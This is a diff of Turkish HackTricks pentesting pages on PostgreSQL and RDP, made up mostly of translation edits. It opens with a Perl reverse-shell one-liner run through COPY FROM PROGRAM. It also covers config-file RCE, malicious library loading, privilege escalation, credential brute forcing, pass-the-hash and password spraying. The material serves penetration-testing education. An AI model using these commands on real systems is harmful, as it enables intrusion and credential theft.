COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
-Unutmayın ki süper kullanıcı değilseniz ancak **`CREATEROLE`** izinlerine sahipseniz, **kendinizi o gruba üye yapabilirsiniz:**
+Unutmayın ki süper kullanıcı değilseniz ancak **`CREATEROLE`** izinlerine sahipseniz **kendinizi o gruba üye yapabilirsiniz:**
```sql
GRANT pg_execute_server_program TO username;
```
[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
-Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın.\
-Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak rapor edilmesine rağmen, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
+Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın. Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak bildirilse de, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
### PostgreSQL Dilleri ile RCE
@@ -453,18 +450,18 @@ Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwo
Aşağıdaki RCE vektörleri, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır.
{% endhint %}
-PostgreSQL'nin **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sistemine yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.**
+PostgreSQL'nin **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir** olduğundan, **süper kullanıcı** olarak dosyaları dosya sisteminde yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz**.
![](<../.gitbook/assets/image (303).png>)
#### **ssl\_passphrase\_command ile RCE**
-Bu tekniğe dair daha fazla bilgiye [buradan ulaşabilirsiniz](https://pulsesecurity.co.nz/articles/postgres-sqli).
+Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://pulsesecurity.co.nz/articles/postgres-sqli) ulaşabilirsiniz.
Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler bulunmaktadır:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolunu belirtir
-* `ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa (şifrelenmiş) postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**.
+* `ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa, postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**.
* `ssl_passphrase_command_supports_reload = off` Bu özellik **açıksa**, anahtar şifre ile korunuyorsa **komut** `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**.
Bu durumda, bir saldırganın yapması gerekenler:
@@ -479,15 +476,15 @@ Bu durumda, bir saldırganın yapması gerekenler:
2. `ssl_passphrase_command_supports_reload = on`
6. `pg_reload_conf()`'yi çalıştırın
-Bu test sırasında fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalıklara sahip olması durumunda çalışacağıdır**, **root** tarafından **sahiplenilmiş** ve **ssl-cert veya postgres** grubuna ait (bu nedenle postgres kullanıcısı okuyabilir), ve _/var/lib/postgresql/12/main_ dizininde bulunması gerektiğidir.
+Bu test sırasında fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalıklara sahip olması**, **root tarafından sahip olunması** ve **ssl-cert veya postgres grubuna ait olması** (bu nedenle postgres kullanıcısının okuyabilmesi) ve _/var/lib/postgresql/12/main_ dizininde bulunması durumunda çalışacağıdır.
#### **archive\_command ile RCE**
-Bu yapılandırma ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)** ulaşabilirsiniz**.
+Bu yapılandırmaya ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3) ulaşabilirsiniz.
-Saldırıya açık başka bir özellik, `archive_command` adlı yapılandırma dosyasındadır.
+Saldırıya açık olan başka bir özellik, `archive_command` içindeki komutun üzerine yazılabilmesidir.
-Bu işlem için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Eğer bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
+Bu işlem için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
Genel adımlar şunlardır:
@@ -498,21 +495,21 @@ Genel adımlar şunlardır:
#### **preload kütüphaneleri ile RCE**
-Bu tekniğe dair daha fazla bilgiye [buradan ulaşabilirsiniz](https://adeadfed.com/posts/postgresql-select-only-rce/).
+Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://adeadfed.com/posts/postgresql-select-only-rce/) ulaşabilirsiniz.
Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanır:
* `session_preload_libraries` -- PostgreSQL sunucusunun istemci bağlantısında yüklenecek kütüphaneler.
* `dynamic_library_path` -- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi.
-`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısı tarafından yazılabilir bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Sonrasında PostgreSQL sunucusunu, yeni yüklediğimiz kütüphaneyi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız.
+`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu, yeni yüklediğimiz kütüphaneyi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız.
Saldırı adımları şunlardır:
1. Orijinal `postgresql.conf` dosyasını indirin
2. `dynamic_library_path` değerine `/tmp/` dizinini dahil edin, örneğin `dynamic_library_path = '/tmp:$libdir'`
3. `session_preload_libraries` değerine zararlı kütüphane adını dahil edin, örneğin `session_preload_libraries = 'payload.so'`
-4. `SELECT version()` sorgusu ile PostgreSQL ana sürümünü kontrol edin
+4. `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü kontrol edin
5. Doğru PostgreSQL geliştirme paketi ile zararlı kütüphane kodunu derleyin Örnek kod:
```c
@@ -569,9 +566,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
#### **Grant**
-[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**CREATEROLE** yetkisine sahip roller, **süper kullanıcı olmayan** herhangi bir role **üyelik verip veya geri çekebilir**._
+[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**CREATEROLE** yetkisine sahip roller, **süper kullanıcı olmayan** herhangi bir role **üyelik verip veya üyelikten çıkarabilir**._
-Yani, eğer **`CREATEROLE`** izniniz varsa, kendinize diğer **roller** (süper kullanıcı olmayanlar) erişim izni verebilirsiniz, bu da size dosyaları okuma ve yazma ile komutları çalıştırma seçeneği sunabilir:
+Yani, eğer **`CREATEROLE`** izniniz varsa, diğer **roller** (süper kullanıcı olmayanlar) için erişim sağlayabilir ve bu da size dosyaları okuma & yazma ve komutları yürütme seçeneği verebilir:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@@ -582,12 +579,12 @@ GRANT pg_write_server_files TO username;
```
#### Parolayı Değiştir
-Bu roldeki kullanıcılar ayrıca diğer **süper olmayan kullanıcıların** parolalarını da **değiştirebilirler**:
+Bu roldeki kullanıcılar diğer **süper olmayan kullanıcıların** parolalarını da **değiştirebilirler**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
-#### SUPERUSER Yetkisine Yükseltme
+#### SUPERUSER'a Yükseltme
Genellikle **yerel kullanıcıların PostgreSQL'e herhangi bir şifre sağlamadan giriş yapabileceğini** görmek oldukça yaygındır. Bu nedenle, **kodları yürütme izinlerini topladığınızda**, bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz:
```sql
@@ -609,11 +606,11 @@ host all all ::1/128 trust
[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl mümkün olduğu açıklanmaktadır.
-Bir **başka kullanıcıyı bir tablonun sahibi yapmaya** çalıştığınızda, bunu engelleyen bir **hata** almanız gerektiği, ancak görünüşe göre GCP'nin bu **seçeneği GCP'deki süper kullanıcı olmayan postgres kullanıcısına** verdiği belirtilmektedir:
+**Başka bir kullanıcıyı bir tablonun sahibi yapmaya çalıştığınızda** buna engel olan bir **hata** almanız gerektiği, ancak GCP'nin bu **seçeneği GCP'deki süper kullanıcı postgres kullanıcısına** verdiği ortaya çıktı:
-Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek, bir indeks oluşturmak ve bu tabloya sahip izinleri bir **süper kullanıcıya** vermek ve ardından sahibin izinlerini kullandığı için komutları yürütebilecek olan kötü niyetli bir işlevle tabloyu ANALYZE etmek mümkündür.
+Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek, mümkündür. Bir fonksiyonla bir indeks oluşturmak ve bu tabloya sahip izinleri bir **süper kullanıcıya** vermek, ardından sahibin izinlerini kullandığı için komutları yürütebilecek kötü niyetli bir fonksiyonla tabloyu ANALYZE etmek.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@@ -624,7 +621,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
1. Yeni bir tablo oluşturarak başlayın.
2. Tabloya anlamsız içerik ekleyerek dizin işlevi için veri sağlayın.
3. Yetkisiz komutların yürütülmesine izin veren bir kod yürütme yükü içeren kötü amaçlı bir dizin işlevi geliştirin.
-4. Tablonun sahibini "cloudsqladmin" olarak DEĞİŞTİRİN, bu GCP'nin özel olarak Cloud SQL tarafından veritabanını yönetmek ve sürdürmek için kullanılan süper kullanıcı rolüdür.
+4. Tablonun sahibini "cloudsqladmin" olarak DEĞİŞTİRİN, bu, veritabanını yönetmek ve sürdürmek için yalnızca Cloud SQL tarafından kullanılan GCP'nin süper kullanıcı rolüdür.
5. Tablo üzerinde bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunu tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmeye zorlar. Sonuç olarak, kötü amaçlı dizin işlevi "cloudsqladmin" izinleriyle çağrılır ve bu da önceden izinsiz yürütülen kabuk komutlarının yürütülmesini sağlar.
PostgreSQL'de, bu akış şöyle görünür:
@@ -654,7 +651,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Yerel Giriş
-Bazı yanlış yapılandırılmış postgresql örnekleri, herhangi bir yerel kullanıcının girişine izin verebilir, 127.0.0.1'den **`dblink` fonksiyonu** kullanılarak yerel giriş yapılabilir:
+Bazı yanlış yapılandırılmış postgresql örnekleri, herhangi bir yerel kullanıcının girişine izin verebilir, 127.0.0.1'den **`dblink` fonksiyonu** kullanılarak yerel giriş yapmak mümkündür:
```sql
\du * # Get Users
\l # Get databases
@@ -673,7 +670,7 @@ CREATE EXTENSION dblink;
```
{% endhint %}
-Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak sorguları o kullanıcı olarak çalıştırabilirsiniz:
+Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak bu kullanıcı olarak sorguları yürütebilirsiniz:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
@@ -687,7 +684,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Güvenlik Tanımlayıcısı ile Özel Tanımlı Fonksiyon**
-[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentester'lar, IBM tarafından sağlanan bir postgres örneğinde **bu güvenlik tanımlayıcısı bayrağıyla** bulunan bir fonksiyon nedeniyle ayrıcalıklarını yükseltebildiler:
+[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentester'lar, IBM tarafından sağlanan bir postgres örneğinde **bu fonksiyonu GÜVENLİK TANIMLAYICI bayrağıyla** buldukları için bir ayrıcalık yükseltme saldırısı gerçekleştirebildiler:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@@ -708,9 +705,9 @@ PERFORM dblink_disconnect();
…
-[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER ile** bir fonksiyon, **onu sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, eğer fonksiyon **SQL Enjeksiyonuna duyarlıysa** veya **saldırgan tarafından kontrol edilen parametrelerle ayrıcalıklı işlemler yapıyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**.
+[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) GÜVENLİK TANIMLAYICI ile bir fonksiyon, **onu sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, eğer fonksiyon **SQL Enjeksiyonuna duyarlıysa** veya saldırgan tarafından kontrol edilen bazı parametrelerle **ayrıcalıklı işlemler gerçekleştiriyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**.
-Önceki kodun 4. satırında fonksiyonun **SECURITY DEFINER** bayrağına sahip olduğunu görebilirsiniz.
+Önceki kodun 4. satırında fonksiyonun **GÜVENLİK TANIMLAYICI** bayrağına sahip olduğunu görebilirsiniz.
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
@@ -720,34 +717,34 @@ Ve sonra **komutları çalıştır**:
-### PL/pgSQL ile Brute Force Yöntemi Kullanarak Parola Kırma
+### PL/pgSQL ile Brute Force Yöntemi
-**PL/pgSQL**, SQL'e kıyasla daha fazla işlem kontrolü sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanımını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonu için daha kapsamlı ve esnek bir yaklaşım sağlar.\
-**Bu dilin kötüye kullanılmasıyla PostgreSQL'den kullanıcı kimlik bilgilerini brute force yöntemiyle çalabilirsiniz.**
+**PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanılmasını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonuna daha kapsamlı ve esnek bir yaklaşım sağlar.\
+**Bu dilin kötüye kullanılmasıyla PostgreSQL'den kullanıcı kimlik bilgilerini brute force etmesini isteyebilirsiniz.**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
-### Dahili PostgreSQL Tablolarını Üzerine Yazarak İstek Yükseltme
+### Dahili PostgreSQL Tablolarını Üzerine Yazarak İzin Yükseltme
{% hint style="info" %}
-Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır.
+Aşağıdaki izin yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği sınırlı SQLi bağlamlarında özellikle kullanışlıdır.
{% endhint %}
-Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, PostgreSQL üzerindeki diskteki dosya düğümünü, dahili `pg_authid` tablosu ile ilişkilendirilmiş olanı üzerine yazarak **süper kullanıcı** olabilirsiniz.
+Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, PostgreSQL üzerindeki diskteki dosya düğümünü, dahili `pg_authid` tablosuyla ilişkilendirilmiş olanı üzerine yazarak **süper kullanıcı olabilirsiniz**.
-Bu tekniğe ilişkin daha fazla bilgiye [**buradan**](https://adeadfed.com/posts/updating-postgresql-data-without-update/) ulaşabilirsiniz.
+Bu tekniğe ilişkin daha fazla bilgiye [**buradan**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)** ulaşabilirsiniz.**
Saldırı adımları şunlardır:
1. PostgreSQL veri dizinini elde et
-2. `pg_authid` tablosu ile ilişkilendirilmiş dosya düğümüne göre göreceli bir yol elde et
+2. `pg_authid` tablosuyla ilişkilendirilmiş dosya düğümüne göre göreceli bir yol elde et
3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indir
-4. `pg_authid` tablosu ile ilişkilendirilmiş veri türünü al
-5. [PostgreSQL Dosya Düğümü Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak dosya düğümünü [düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını 1 olarak ayarla ve tam izinler ver
-6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla tekrar yükle ve diskteki orijinal dosyayı üzerine yaz
-7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusunu çalıştırarak bellek içi tablo önbelleğini temizle
+4. `pg_authid` tablosuyla ilişkilendirilmiş veri türünü al
+5. [PostgreSQL Filenode Düzenleyici](https://github.com/adeadfed/postgresql-filenode-editor)'yi kullanarak [dosya düğümünü düzenle](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); tüm `rol*` boolean bayraklarını 1 olarak ayarla
+6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükle ve diske orijinal dosyayı üzerine yaz
+7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusunu çalıştırarak bellek tablo önbelleğini temizle
8. Artık tam bir süper yönetici ayrıcalıklarına sahip olmalısınız.
## **POST**
@@ -775,7 +772,7 @@ Sonra, **hizmeti yeniden başlatın**.
[pgadmin](https://www.pgadmin.org), PostgreSQL için bir yönetim ve geliştirme platformudur.\
Parolaları _**pgadmin4.db**_ dosyasının içinde bulabilirsiniz.\
-Onları şu betik içindeki _**decrypt**_ fonksiyonunu kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
+Onları şu betik içindeki _**decrypt**_ işlevini kullanarak şifreleyebilirsiniz: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
@@ -784,28 +781,6 @@ string pgadmin4.db
```
### pg\_hba
-PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adres aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa, erişim reddedilir.
+PostgreSQL'de istemci kimlik doğrulaması **pg\_hba.conf** adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa, erişim reddedilir.
-pg\_hba.conf'deki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashlenmiş, crypt-şifrelenmiş veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz.
-
-
-
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
-
-HackTricks'ı desteklemenin diğer yolları:
-
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
-
-
-
-
-\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
-Bugün Erişim Alın:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+pg\_hba.conf'deki mevcut şifre tabanlı kimlik doğrulama yöntemleri **md5**, **crypt** ve **password**'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg\_authid'de şifrelenmiş şifrelerle kullanılamaz.
diff --git a/network-services-pentesting/pentesting-rdp.md b/network-services-pentesting/pentesting-rdp.md
index 87be5bff3..7622764e2 100644
--- a/network-services-pentesting/pentesting-rdp.md
+++ b/network-services-pentesting/pentesting-rdp.md
@@ -6,15 +6,15 @@
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
**Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, shell'ler açmak ve eğlenmek için zaman kazanmalarını sağlıyoruz.
@@ -22,7 +22,7 @@ HackTricks'ı desteklemenin diğer yolları:
## Temel Bilgiler
-Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), bilgisayarlar arasında ağ üzerinden grafik arayüz bağlantısını sağlamak amacıyla tasarlanmıştır. Bu tür bir bağlantı kurmak için kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekir. Bu kurulum, uzak bir bilgisayarın masaüstü ortamının sorunsuz kontrol ve erişimine olanak tanır, esasen kullanıcının yerel cihazına arayüzünü getirir.
+Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), ağ üzerinden bilgisayarlar arasında grafik arayüz bağlantısını sağlamak amacıyla tasarlanmıştır. Bu tür bir bağlantı kurmak için kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekir. Bu kurulum, uzak bir bilgisayarın masaüstü ortamının sorunsuz kontrol ve erişimine izin verir, esasen kullanıcının yerel cihazına arayüzünü getirir.
**Varsayılan port:** 3389
```
@@ -39,13 +39,13 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
```
{% endcode %}
-Mevcut şifreleme ve DoS zafiyetini kontrol eder (hizmete DoS saldırısı yapmadan) ve NTLM Windows bilgilerini (sürümleri) elde eder.
+Bu, mevcut şifreleme ve DoS zafiyetini kontrol eder (hizmete DoS saldırısı yapmadan) ve NTLM Windows bilgilerini (sürümleri) elde eder.
### [Kaba kuvvet](../generic-methodologies-and-resources/brute-force.md#rdp)
**Dikkatli olun, hesapları kilitleyebilirsiniz**
-### **Şifre Sıçratma**
+### **Şifre Spreyi**
**Dikkatli olun, hesapları kilitleyebilirsiniz**
```bash
@@ -61,15 +61,15 @@ rdesktop -d -u -p
xfreerdp [/d:domain] /u: /p: /v:
xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash
```
-### Bilinen kimlik bilgilerini RDP hizmetlerine karşı kontrol et
+### Bilinen kimlik bilgilerini RDP hizmetlerine karşı kontrol edin
rdp_check.py, impacket'ten bir betiği kullanarak belirli kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar:
```bash
rdp_check /:@
```
-
+
-**Zararlı yazılım değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz ki bu da onlara daha fazla zaman kazandırarak daha derine inmelerini, kabukları patlatmalarını ve eğlenmelerini sağlar.
